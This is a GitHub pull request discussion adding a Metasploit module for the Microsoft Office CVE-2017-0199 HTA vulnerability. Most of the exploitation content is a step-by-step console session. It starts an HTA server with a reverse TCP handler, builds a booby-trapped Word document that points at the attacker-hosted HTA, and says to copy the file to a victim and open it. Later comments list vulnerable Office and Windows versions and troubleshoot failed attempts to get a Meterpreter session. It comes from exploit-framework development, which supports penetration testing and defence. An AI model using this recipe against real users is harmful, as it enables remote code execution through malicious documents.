CVE-2017-0199 - Office Word HTA Module #8254

nixawk · 2017-04-17T06:13:54Z

@wvu-r7 @wchen-r7 @busterb Please check it. The details about the module is here #8220 .

msf > use exploit/windows/misc/hta_server
msf exploit(hta_server) > show options

Module options (exploit/windows/misc/hta_server):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Exploit target:

   Id  Name
   --  ----
   0   Powershell x86


msf exploit(hta_server) > run
[*] Exploit running as background job.

[*] Started reverse TCP handler on 10.97.100.101:4444
[*] Using URL: http://0.0.0.0:8080/ETTtwiMhS.hta
[*] Local IP: http://10.00.100.101:8080/ETTtwiMhS.hta
[*] Server started.

msf exploit(hta_server) > use exploit/windows/fileformat/office_word_hta
msf exploit(office_word_hta) > show options

Module options (exploit/windows/fileformat/office_word_hta):

   Name       Current Setting              Required  Description
   ----       ---------------              --------  -----------
   FILENAME                                no        The file name.
   TARGETURI  http://example.com/test.rtf  yes       The path to a online hta file.


Exploit target:

   Id  Name
   --  ----
   0   Microsoft Office Word


msf exploit(office_word_hta) > set TARGETURI http://10.97.100.101:8080/ETTtwiMhS.hta
TARGETURI => http://10.00.100.101:8080/ETTtwiMhS.hta
msf exploit(office_word_hta) > set FILENAME msf.doc
FILENAME => msf.doc
msf exploit(office_word_hta) > run

[+] msf.doc stored at /Users/securitytest/.msf4/local/msf.doc

Copy /Users/securitytest/.msf4/local/msf.doc into a victim machine, and open it with Microsoft Word....

nixawk · 2017-04-17T06:16:00Z

If hat_server is used. a black flash window will come. A new pr wants to fix the issue.

Another question:

Is it necessary to add a hta server feature in the module ? It can gain a session without exploit/windows/misc/hta_server

busterb

this needs some docs too, but looks good!

busterb · 2017-04-17T17:01:46Z

modules/exploits/windows/fileformat/office_word_hta.rb

+    # require 'rex/ole'
+    # ole = Rex::OLE::Storage.new('cve-2017-0199.bin', Rex::OLE::STGM_READ)
+    # ministream = ole.instance_variable_get(:@ministream)
+    # ministream_data = ministream.instance_variable_get(:@data)


we should take a look at what was broken in rex-ole, e.g. is it disallowing us to parse a corrupted document

RTF may be not a corrupted document. Please check my steps.

Original RTF is created by Office Word 2010 on Windows 7. I've try to recreate a new one with the same issue.

Show OLE Object info with oletools - rtfobj

$ rtfobj cve-2017-0199.rtf rtfobj 0.50 - http://decalage.info/python/oletools THIS IS WORK IN PROGRESS - Check updates regularly! Please report any issue at https://github.com/decalage2/oletools/issues =============================================================================== File: 'cve-2017-0199.rtf' - size: 37633 bytes ---+----------+-------------------------------+------------------------------- id |index |OLE Object |OLE Package ---+----------+-------------------------------+------------------------------- 0 |00002A2Ah |format_id: 2 |Not an OLE Package | |class name: 'OLE2Link' | | |data size: 2560 | ---+----------+-------------------------------+-------------------------------

Dump OLE object with rtfobj.

$ rtfobj -s 0 cve-2017-0199.rtf rtfobj 0.50 - http://decalage.info/python/oletools THIS IS WORK IN PROGRESS - Check updates regularly! Please report any issue at https://github.com/decalage2/oletools/issues =============================================================================== File: 'cve-2017-0199.rtf' - size: 37633 bytes ---+----------+-------------------------------+------------------------------- id |index |OLE Object |OLE Package ---+----------+-------------------------------+------------------------------- 0 |00002A2Ah |format_id: 2 |Not an OLE Package | |class name: 'OLE2Link' | | |data size: 2560 | ---+----------+-------------------------------+------------------------------- Saving file embedded in OLE object #0: format_id = 2 class name = 'OLE2Link' data size = 2560 saving to file cve-2017-0199.rtf_object_00002A2A.bin

When rtf is dumped successfully, Please try to parse OLE Object binary data with read_oleobject.rb

$ ruby read_oleobject.rb cve-2017-0199.rtf_object_00002A2A.bin 4 - #<Dirent:"Root Entry"> |- #<Dirent:"\u0001Ole" size=162 data="\x01\x00\x00\x02\t..."> |- #<Dirent:"\u0003ObjInfo" size=6 data="\x10\x02\x03\x00\x04\x00"> \- #<Dirent:"\u0003LinkInfo" size=102 data="\x1E\x00htt..."> From: /Users/Open-Security/Code/labs/CVE-2017-0199/read_oleobject.rb @ line 26 Object#read_ole_ministream: 14: def read_ole_ministream(filename) 15: # ole/storage 16: ole = Ole::Storage.open(filename, 'rb+') 17: puts ole.dirents.length 18: puts ole.root.to_tree 19: 20: # rex/ole 21: ole = Rex::OLE::Storage.new(filename, Rex::OLE::STGM_READ) 22: ministream = ole.instance_variable_get(:@ministream) 23: data = ministream.instance_variable_get(:@data) 24: 25: => 26: binding.pry 27: 28: olebin = ::File.open("#{filename}-ministream_data.bin", 'wb+') 29: olebin.write(data) 30: olebin.close 31: end [1] pry(main)> data => "\x01\x00\x00\x02\t\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00V\x00\x00\x00\xE0\xC9\xEAy\xF9\xBA\xCE\x11\x8C\x82\x00\xAA\x00K\xA9\v>\x00\x00\x00h\x00t\x00t\x00p\x00:\x00/\x00/\x00w\x00w\x00w\x00.\x00b\x00a\x00i\x00d\x00u\x00.\x00c\x00o\x00m\x00/\x00i\x00n\x00d\x00e\x00x\x00.\x00h\x00t\x00m\x00\x00\x00\xFF\xFF\xFF\xFF i3%\xF9\x03\xCF\x11\x8F\xD0\x00\xAA\x00ho\x13\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00 \xED\xE0P\x9D\xB8\xD2\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xB1\x00\x05\x00\x10\x00\b\x01\x10\x02\x03\x00\x04\x00\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xAC\x00\x05\x00\x1F\x00\b\x01\xC0\x81\xA7\bx\x01\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1E\x00http://www.baidu.com/index.htm\x00\x00\xBB\xBB\xCC\xCC\x1E\x00h\x00t\x00t\x00p\x00:\x00/\x00/\x00w\x00w\x00w\x00.\x00b\x00a\x00i\x00d\x00u\x00.\x00c\x00o\x00m\x00/\x00i\x00n\x00d\x00e\x00x\x00.\x00h\x00t\x00m\x00\x00\x00\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

busterb · 2017-04-17T17:05:23Z

modules/exploits/windows/fileformat/office_word_hta.rb

+
+  def create_rtf_format
+    template_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2017-0199.rtf")
+    template_rtf = ::File.open(template_path, 'rb')


TODO - it would be nice if there was a wrapper to get a data directory file (not needed for this module)

nixawk · 2017-04-18T01:51:46Z

Thanks @busterb . I'll add module doc later.

jooeji · 2017-04-18T07:12:02Z

it's time so long

nixawk · 2017-04-18T08:30:38Z

@jooeji Could you share the packet here ? If you failed to exploit CVE-2017-0199, please try it with a IE cache clean.

Thanks @busterb Module doc is added.

nixawk · 2017-04-21T00:31:53Z

Any question for the module ?

wchen-r7 · 2017-04-21T19:59:58Z

I'll take over from here. I will be landing this soon. Sorry for the wait. And thanks!

wchen-r7 · 2017-04-24T21:09:51Z

Release Notes

The exploit/windows/misc/hta_server module has been added to the framework. It exploits a Microsoft Office vulnerability that started off as an 0day being exploited in the wild. By using an OLE2 link object in a doc or RTF file, it is possible to abuse the HTA handler, which will allow the document to download a malicious HTA application and execute it.

wchen-r7 · 2017-04-24T21:10:59Z

Sorry for the slow response. I modified the exploit to run its own HTA server, and it allows the HTA window to be invisible. Also updated the doc a little.

nixawk · 2017-04-25T00:53:41Z

Thanks @wchen-r7 .

C6h0st · 2017-04-26T03:00:24Z

I have tried the old and new version of this module but it failed on Windows 7 with all Office (2007->2016), i also tried with both fresh and normal VM. The process WINWORD.exe just download .hta file but doesn't execute the payload. Is anybody has the same problem ?

nixawk · 2017-04-26T05:14:06Z

Please read the module info, and check your lab version. I've failed to exploit it on Windows 7, but ok on Windows 7 sp 1.

Vulnerable OS list, ex:

Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for Itanium-Based Systems Service Pack 2
Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Microsoft Office 2007 Service Pack 3
Microsoft Office 2013 Service Pack 1 (32-bit editions)
Microsoft Office 2013 Service Pack 1 (64-bit editions)
Microsoft Office 2010 Service Pack 2 (32-bit editions)
Microsoft Office 2010 Service Pack 2 (64-bit editions)
Microsoft Office 2016 (32-bit edition)
Microsoft Office 2016 (64-bit edition)

kalifan · 2017-04-27T01:41:58Z

@nixawk Hi i dont know why it does not work fine. i have running windows 7 sp1, Office 2016 pro plus 64 bits could be AV?

i have an screenshot to show you.

C6h0st · 2017-04-27T02:39:05Z

I have same problem as @kalifan on Windows 7 sp1 with Office 2013 sp1

kalifan · 2017-04-29T02:46:58Z

@C6h0st i try with the new exploit from exploit-db and it does not work fine too. :(
https://www.exploit-db.com/exploits/41934/

digexploit · 2017-04-30T15:42:00Z

I have a same problem as jooeji, do not can back a meterpreter

nixawk · 2017-07-18T02:12:49Z

"Bypassing" Microsoft's Patch for CVE-2017-0199 - http://justhaifei1.blogspot.jp/2017/07/bypassing-microsofts-cve-2017-0199-patch.html
Moniker Magic: Running Scripts Directly in Microsoft Office - https://sites.google.com/site/zerodayresearch/Moniker_Magic_final.pdf

kalifan · 2017-07-19T13:28:08Z

@nixawk almost we can keep trying thanks bro

nixawk added 7 commits April 14, 2017 13:22

add CVE-2017-0199 format

8c66256

CVE-2017-0199 exploit module

8ab0b44

Fix rtf info author

a9df917

Format Code

1952529

rename exp module

5908161

Fix generate_uri

fb00118

Fix default options

3d08281

nixawk mentioned this pull request Apr 17, 2017

CVE-2017-0199 - exploit office with ole link object #8220

Closed

busterb added module feature hotness Something we're really excited about labels Apr 17, 2017

busterb approved these changes Apr 17, 2017

View reviewed changes

add doc for exploit/windows/fileformat/office_word_hta

0a085c4

wchen-r7 self-assigned this Apr 18, 2017

wchen-r7 merged commit 0a085c4 into rapid7:master Apr 24, 2017

wchen-r7 added a commit that referenced this pull request Apr 24, 2017

Land #8254, Add CVE-2017-0199 - Office Word HTA Module

5bbb4d7

tdoan-r7 added rn-enhancement release notes enhancement rn-exploit and removed rn-enhancement release notes enhancement labels May 10, 2017

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

CVE-2017-0199 - Office Word HTA Module #8254

CVE-2017-0199 - Office Word HTA Module #8254

nixawk commented Apr 17, 2017 •

edited

Loading

nixawk commented Apr 17, 2017 •

edited

Loading

busterb left a comment

busterb Apr 17, 2017

nixawk Apr 18, 2017 •

edited

Loading

busterb Apr 17, 2017

nixawk commented Apr 18, 2017

jooeji commented Apr 18, 2017

nixawk commented Apr 18, 2017 •

edited

Loading

nixawk commented Apr 21, 2017

wchen-r7 commented Apr 21, 2017

wchen-r7 commented Apr 24, 2017 •

edited by tdoan-r7

Loading

wchen-r7 commented Apr 24, 2017

nixawk commented Apr 25, 2017

C6h0st commented Apr 26, 2017

nixawk commented Apr 26, 2017

kalifan commented Apr 27, 2017

C6h0st commented Apr 27, 2017

kalifan commented Apr 29, 2017

digexploit commented Apr 30, 2017

nixawk commented Jul 18, 2017 •

edited

Loading

kalifan commented Jul 19, 2017

CVE-2017-0199 - Office Word HTA Module #8254

CVE-2017-0199 - Office Word HTA Module #8254

Conversation

nixawk commented Apr 17, 2017 • edited Loading

nixawk commented Apr 17, 2017 • edited Loading

busterb left a comment

Choose a reason for hiding this comment

busterb Apr 17, 2017

Choose a reason for hiding this comment

nixawk Apr 18, 2017 • edited Loading

Choose a reason for hiding this comment

busterb Apr 17, 2017

Choose a reason for hiding this comment

nixawk commented Apr 18, 2017

jooeji commented Apr 18, 2017

nixawk commented Apr 18, 2017 • edited Loading

nixawk commented Apr 21, 2017

wchen-r7 commented Apr 21, 2017

wchen-r7 commented Apr 24, 2017 • edited by tdoan-r7 Loading

Release Notes

wchen-r7 commented Apr 24, 2017

nixawk commented Apr 25, 2017

C6h0st commented Apr 26, 2017

nixawk commented Apr 26, 2017

kalifan commented Apr 27, 2017

C6h0st commented Apr 27, 2017

kalifan commented Apr 29, 2017

digexploit commented Apr 30, 2017

nixawk commented Jul 18, 2017 • edited Loading

kalifan commented Jul 19, 2017

nixawk commented Apr 17, 2017 •

edited

Loading

nixawk commented Apr 17, 2017 •

edited

Loading

nixawk Apr 18, 2017 •

edited

Loading

nixawk commented Apr 18, 2017 •

edited

Loading

wchen-r7 commented Apr 24, 2017 •

edited by tdoan-r7

Loading

nixawk commented Jul 18, 2017 •

edited

Loading